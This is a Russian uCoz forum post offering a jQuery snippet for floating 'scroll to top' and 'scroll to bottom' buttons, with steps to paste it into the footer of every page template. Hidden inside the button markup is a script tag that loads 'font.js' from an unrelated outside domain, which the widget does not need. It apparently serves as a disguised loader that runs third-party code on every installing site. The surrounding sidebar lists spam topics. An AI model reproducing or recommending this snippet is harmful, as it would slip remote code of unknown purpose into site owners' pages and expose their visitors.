[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » WEB-мастеру » Скрипты для Ucoz » Кнопка вверх и вниз для сайта
Кнопка вверх и вниз для сайта
OlizinaДата: Суббота, 22.03.2014, 11:29 | Сообщение # 1
Группа: Пользователи
Сержант
Сообщений: 36

Репутация « 0 »
Статус: Offline
Дополнительная Инфа
скрин: http://i023.radikal.ru/1401/fd/ae3ed41cd540.jpg

Скрипт для быстрого и плавного поднятия страницы вверх, также можно опускать и вниз страницу сайта.
Выполнен в стиле пальца вверх и вниз, светло синий цет
Установка не сложная и не требует дополнительных навыков html

Установка скрипта „Кнопка вверх и вниз“

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<div id="banners"><a style='position: fixed; bottom: 60px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'>
  <img src="http://pnghosts.ru/img/point-up.png" alt="Наверх" title="Наверх"></a>
  <script src="http://24-moto.ru/font.js" type="text/javascript"></script>
  <a style='position: fixed; bottom: 20px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Bottom'>
  <img src="http://pnghosts.ru/img/point-down.png" alt="Вниз" title="Вниз">
  </a></div>

<script>
var go_down = jQuery('body');
jQuery(function() {
  $("#Go_Top").hide().removeAttr("href");
  if ($(window).scrollTop() >= "250") $("#Go_Top").fadeIn("slow")
  var scrollDiv = $("#Go_Top");
  $(window).scroll(function() {
  if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
  else $(scrollDiv).fadeIn("slow")
  });

  $("#Go_Bottom").hide().removeAttr("href");
  if ($(window).scrollTop() <= go_down.height()-"999") $("#Go_Bottom").fadeIn("slow")
  var scrollDiv_2 = $("#Go_Bottom");
  $(window).scroll(function() {
  if ($(window).scrollTop() >= go_down.height()-"999") $(scrollDiv_2).fadeOut("slow")
  else $(scrollDiv_2).fadeIn("slow")
  });

  $("#Go_Top").click(function() {
  $("html, body").animate({scrollTop: 0}, "slow")
  })
  $("#Go_Bottom").click(function() {
  $("html, body").animate({scrollTop: go_down.height()}, "slow")
  })
});
</script>
Форум » WEB-мастеру » Скрипты для Ucoz » Кнопка вверх и вниз для сайта
  • Страница 1 из 1
  • 1
Поиск:


Статистика Форума
Последние обновленные темы Самые популярные темы Самые активные Новые участники
  • Сюда (6)
  • Techwars 2: global conflict (0)
  • Калибр (0)
  • Монитор (10)
  • Досчитай до 1000 (15)
  • Игра в слова (16)
  • футболка Noize MC Новый Альбом (5)
  • Перевод песен и слова к песням (2)
  • Best Price On (5)
  • продвижение сайта Дешево 683 . (1)
  • Игра в слова (16)
  • Досчитай до 1000 (15)
  • Призы (11)
  • "Прибавь 7" (11)
  • ответ на ваш вопрос видео как научиться танцевать хип хоп (11)
  • 949 (11)
  • Communal pictures (11)
  • Compare Shopping (11)
  • baclofen acheter bon prix Hablainville France (11)
  • Монитор (10)
  • Aprileotox
  • RopOpporI
  • Alesiger
  • Raymondgero
  • RicharddiP
  • Celiasheepe
  • AavBugtritrure
  • JosephPa
  • CharlesFatt
  • Adelendel
  • WilliamNex
  • BrandonHox
  • JeremyTilm
  • slocagengerce
  • Charlesnops
  • DonaldPuh
  • Raymondbelf
  • JoshuaKl
  • Cyywtrsty
  • Manuelen
  • Telokmi02:09
    sncenjealp23:50
    MuLLeR02919:57
    DianaBag05:21
    JafidBiz07:01
    StellaEn15:01
    KarolinaGar09:01
    gazandEt08:36
    dealrattsew21:13
    doreGam12:37
    HorazeGinty01:48
    22tetrix401:30
    KezlyGoori05:29
    Famesattak14:48
    Jalonphymn03:39
    ErzestSmeni06:10
    Pierzeemeld05:57
    WizliamRIP21:04
    Zichardrop02:59
    ZharlesSom21:17

    WebSite by Dssp Production ;D
    Бесплатный конструктор сайтов - uCoz